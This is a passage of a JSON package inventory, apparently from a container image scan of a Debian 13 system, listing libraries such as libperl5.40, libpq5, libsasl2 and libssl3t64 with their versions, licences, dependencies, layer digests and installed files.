"/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/threads/shared/shared.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/auto/threads/threads.so", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/atomic_wide_counter.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/byteswap.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/confname.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/endianness.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/environments.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/floatn-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/floatn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/getopt_core.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/getopt_posix.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ioctl-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/long-double.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/posix_opt.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/pthreadtypes-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/pthreadtypes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/select2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigaction.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigcontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigevent-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-consts-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/siginfo-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signal_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signum-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/signum-generic.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigstksz.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sigthread.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/sockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket-constants.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/socket_type.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ss_flags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/stdint-intn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/struct_mutex.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/struct_rwlock.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-ldbl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-path.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/thread-shared-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/timesize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/__sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/__sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/clock_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/clockid_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/idtype_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sig_atomic_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigevent_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/siginfo_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/stack_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_iovec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_osockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_rusage.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_timespec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_timeval.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/time_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/timer_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/typesizes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/uintn-identity.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/waitflags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/waitstatus.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/wordsize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/errno.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/features-time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/features.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/gnu/stubs-64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/gnu/stubs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/lib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/mro.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/ops.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/re.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/signal.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stdarg.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stdc-predef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/cdefs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/time.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ttydefaults.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ucontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sysexits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syslimits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/threads.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/threads/shared.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/README", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.debug.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.shared.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.static.gz", "/usr/share/doc/libperl5.40/changelog.Debian.gz", "/usr/share/doc/libperl5.40/changelog.gz", "/usr/share/doc/libperl5.40/copyright", "/usr/share/lintian/overrides/libperl5.40", "/usr/share/man/man1/cpan5.40-x86_64-linux-gnu.1.gz", "/usr/share/man/man1/perl5.40-x86_64-linux-gnu.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libpq5@17.10-0+deb13u1", "Name": "libpq5", "Identifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "Version": "17.10", "Release": "0+deb13u1", "Arch": "amd64", "SrcName": "postgresql-17", "SrcVersion": "17.10", "SrcRelease": "0+deb13u1", "Licenses": [ "PostgreSQL", "Custom-regex", "TCL", "Custom-pg_dump", "BSD-3-Clause", "Custom-Unicode", "double-metaphone", "GPL-1.0-only", "Artistic-2.0", "nagaysau-ishii", "BSD-2-Clause" ], "Maintainer": "Debian PostgreSQL Maintainers \u003cteam+postgresql@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgssapi-krb5-2@1.21.3-5+deb13u1", "libldap2@2.6.10+dfsg-1", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpq.so.5.17", "/usr/share/doc/libpq5/changelog.Debian.gz", "/usr/share/doc/libpq5/changelog.gz", "/usr/share/doc/libpq5/copyright", "/usr/share/locale/cs/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/de/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/el/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/es/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/fr/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/he/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/it/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/ja/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/ka/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/ko/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/pl/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/ru/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/sv/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/tr/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/uk/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/libpq5-17.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/libpq5-17.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libquadmath0@14.2.0-19", "Name": "libquadmath0", "Identifier": { "PURL": "pkg:deb/debian/libquadmath0@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "bc81c38ef8dcba38" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libquadmath.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libreadline8t64@8.2-6", "Name": "libreadline8t64", "Identifier": { "PURL": "pkg:deb/debian/libreadline8t64@8.2-6?arch=amd64\u0026distro=debian-13.6", "UID": "50325e363223cfdc" }, "Version": "8.2", "Release": "6", "Arch": "amd64", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "6", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libtinfo6@6.5+20250216-2", "readline-common@8.2-6" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhistory.so.8.2", "/usr/lib/x86_64-linux-gnu/libreadline.so.8.2", "/usr/share/doc/libreadline8t64/README.Debian", "/usr/share/doc/libreadline8t64/USAGE", "/usr/share/doc/libreadline8t64/changelog.Debian.gz", "/usr/share/doc/libreadline8t64/changelog.gz", "/usr/share/doc/libreadline8t64/copyright", "/usr/share/doc/libreadline8t64/examples/Inputrc", "/usr/share/doc/libreadline8t64/inputrc.arrows" ], "AnalyzedBy": "dpkg" }, { "ID": "libsasl2-2@2.1.28+dfsg1-9", "Name": "libsasl2-2", "Identifier": { "PURL": "pkg:deb/debian/libsasl2-2@2.1.28%2Bdfsg1-9?arch=amd64\u0026distro=debian-13.6", "UID": "9f6f09cc4784dc83" }, "Version": "2.1.28+dfsg1", "Release": "9", "Arch": "amd64", "SrcName": "cyrus-sasl2", "SrcVersion": "2.1.28+dfsg1", "SrcRelease": "9", "Licenses": [ "BSD-3-Clause-Attribution", "BSD-3-Clause", "BSD-2-Clause", "GPL-3.0-or-later", "GPL-3.0-only", "BSD-4-Clause-UC", "RSA-MD", "text://BSD-3-Clause-Attribution and IBM-as-is", "BSD-3-clause-JANET", "BSD-3-clause-PADL", "MIT-OpenVision", "OpenLDAP", "FSFULLR", "MIT-CMU", "MIT-Export", "BSD-2.2-clause", "text://IBM-as-is" ], "Maintainer": "Debian Cyrus Team \u003cteam+cyrus@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libsasl2-modules-db@2.1.28+dfsg1-9", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25", "/usr/share/doc/libsasl2-2/README.Debian", "/usr/share/doc/libsasl2-2/changelog.Debian.gz", "/usr/share/doc/libsasl2-2/copyright", "/usr/share/man/man5/libsasl.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libsasl2-modules@2.1.28+dfsg1-9", "Name": "libsasl2-modules", "Identifier": { "PURL": "pkg:deb/debian/libsasl2-modules@2.1.28%2Bdfsg1-9?arch=amd64\u0026distro=debian-13.6", "UID": "70e1c94b866e7e4e" }, "Version": "2.1.28+dfsg1", "Release": "9", "Arch": "amd64", "SrcName": "cyrus-sasl2", "SrcVersion": "2.1.28+dfsg1", "SrcRelease": "9", "Licenses": [ "BSD-3-Clause-Attribution", "BSD-3-Clause", "BSD-2-Clause", "GPL-3.0-or-later", "GPL-3.0-only", "BSD-4-Clause-UC", "RSA-MD", "text://BSD-3-Clause-Attribution and IBM-as-is", "BSD-3-clause-JANET", "BSD-3-clause-PADL", "MIT-OpenVision", "OpenLDAP", "FSFULLR", "MIT-CMU", "MIT-Export", "BSD-2.2-clause", "text://IBM-as-is" ], "Maintainer": "Debian Cyrus Team \u003cteam+cyrus@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/sasl2/libanonymous.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/libcrammd5.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/liblogin.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/libntlm.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/libplain.so.2.0.25", "/usr/lib/x86_64-linux-gnu/sasl2/libscram.so.2.0.25", "/usr/share/doc/libsasl2-modules/changelog.Debian.gz", "/usr/share/doc/libsasl2-modules/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsasl2-modules-db@2.1.28+dfsg1-9", "Name": "libsasl2-modules-db", "Identifier": { "PURL": "pkg:deb/debian/libsasl2-modules-db@2.1.28%2Bdfsg1-9?arch=amd64\u0026distro=debian-13.6", "UID": "5be604f52b393651" }, "Version": "2.1.28+dfsg1", "Release": "9", "Arch": "amd64", "SrcName": "cyrus-sasl2", "SrcVersion": "2.1.28+dfsg1", "SrcRelease": "9", "Licenses": [ "BSD-3-Clause-Attribution", "BSD-3-Clause", "BSD-2-Clause", "GPL-3.0-or-later", "GPL-3.0-only", "BSD-4-Clause-UC", "RSA-MD", "text://BSD-3-Clause-Attribution and IBM-as-is", "BSD-3-clause-JANET", "BSD-3-clause-PADL", "MIT-OpenVision", "OpenLDAP", "FSFULLR", "MIT-CMU", "MIT-Export", "BSD-2.2-clause", "text://IBM-as-is" ], "Maintainer": "Debian Cyrus Team \u003cteam+cyrus@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libdb5.3t64@5.3.28+dfsg2-9" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/sasl2/libsasldb.so.2.0.25", "/usr/share/doc/libsasl2-modules-db/changelog.Debian.gz", "/usr/share/doc/libsasl2-modules-db/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libseccomp2@2.6.0-2", "Name": "libseccomp2", "Identifier": { "PURL": "pkg:deb/debian/libseccomp2@2.6.0-2?arch=amd64\u0026distro=debian-13.6", "UID": "97e0ed663a98e78b" }, "Version": "2.6.0", "Release": "2", "Arch": "amd64", "SrcName": "libseccomp", "SrcVersion": "2.6.0", "SrcRelease": "2", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Kees Cook \u003ckees@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libseccomp.so.2.6.0", "/usr/share/doc/libseccomp2/changelog.Debian.gz", "/usr/share/doc/libseccomp2/changelog.gz", "/usr/share/doc/libseccomp2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libselinux1@3.8.1-1", "Name": "libselinux1", "Identifier": { "PURL": "pkg:deb/debian/libselinux1@3.8.1-1?arch=amd64\u0026distro=debian-13.6", "UID": "f7d3a23ad693e5cb" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libselinux", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "public-domain", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libpcre2-8-0@10.46-1~deb13u1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/tmpfiles.d/libselinux1.conf", "/usr/lib/x86_64-linux-gnu/libselinux.so.1", "/usr/share/doc/libselinux1/changelog.Debian.gz", "/usr/share/doc/libselinux1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage-common@3.8.1-1", "Name": "libsemanage-common", "Identifier": { "PURL": "pkg:deb/debian/libsemanage-common@3.8.1-1?arch=all\u0026distro=debian-13.6", "UID": "ecc6b54d8bc6318c" }, "Version": "3.8.1", "Release": "1", "Arch": "all", "SrcName": "libsemanage", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/libsemanage-common/changelog.Debian.gz", "/usr/share/doc/libsemanage-common/copyright", "/usr/share/man/man5/semanage.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage2@3.8.1-1", "Name": "libsemanage2", "Identifier": { "PURL": "pkg:deb/debian/libsemanage2@3.8.1-1?arch=amd64\u0026distro=debian-13.6", "UID": "5684bd063761ddb3" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libsemanage", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u3", "libselinux1@3.8.1-1", "libsemanage-common@3.8.1-1", "libsepol2@3.8.1-1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsemanage.so.2", "/usr/share/doc/libsemanage2/changelog.Debian.gz", "/usr/share/doc/libsemanage2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsepol2@3.8.1-1", "Name": "libsepol2", "Identifier": { "PURL": "pkg:deb/debian/libsepol2@3.8.1-1?arch=amd64\u0026distro=debian-13.6", "UID": "9990a97d658e13ae" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libsepol", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "Zlib", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsepol.so.2", "/usr/share/doc/libsepol2/changelog.Debian.gz", "/usr/share/doc/libsepol2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsframe1@2.44-3", "Name": "libsframe1", "Identifier": { "PURL": "pkg:deb/debian/libsframe1@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "78bae4a98aee2484" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsframe.so.1.0.0", "/usr/share/doc/libsframe1/changelog.Debian.gz", "/usr/share/doc/libsframe1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsmartcols1@2.41-5", "Name": "libsmartcols1", "Identifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsmartcols.so.1.1.0", "/usr/share/doc/libsmartcols1/NEWS.Debian.gz", "/usr/share/doc/libsmartcols1/changelog.Debian.gz", "/usr/share/doc/libsmartcols1/changelog.gz", "/usr/share/doc/libsmartcols1/copyright", "/usr/share/lintian/overrides/libsmartcols1" ], "AnalyzedBy": "dpkg" }, { "ID": "libsqlite3-0@3.46.1-7+deb13u1", "Name": "libsqlite3-0", "Identifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "Version": "3.46.1", "Release": "7+deb13u1", "Arch": "amd64", "SrcName": "sqlite3", "SrcVersion": "3.46.1", "SrcRelease": "7+deb13u1", "Licenses": [ "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6", "/usr/share/doc/libsqlite3-0/README.Debian", "/usr/share/doc/libsqlite3-0/changelog.Debian.gz", "/usr/share/doc/libsqlite3-0/changelog.gz", "/usr/share/doc/libsqlite3-0/changelog.html.gz", "/usr/share/doc/libsqlite3-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libssl3t64@3.5.6-1~deb13u2", "Name": "libssl3t64", "Identifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "70deb26cae6cb8c2" }, "Version": "3.5.6", "Release": "1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.6", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libzstd1@1.5.7+dfsg-1", "openssl-provider-legacy@3.5.6-1~deb13u2", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/engines-3/afalg.so", "/usr/lib/x86_64-linux-gnu/engines-3/loader_attic.so", "/usr/lib/x86_64-linux-gnu/engines-3/padlock.so", "/usr/lib/x86_64-linux-gnu/libcrypto.so.3", "/usr/lib/x86_64-linux-gnu/libssl.so.3", "/usr/share/doc/libssl3t64/NEWS.Debian.gz", "/usr/share/doc/libssl3t64/changelog.Debian.gz", "/usr/share/doc/libssl3t64/changelog.gz", "/usr/share/doc/libssl3t64/copyright", "/usr/share/lintian/overrides/libssl3t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libstdc++6@14.2.0-19", "Name": "libstdc++6", "Identifier": { "PURL": "pkg:deb/debian/libstdc%2B%2B6@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "1b384a6346513d7c" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": 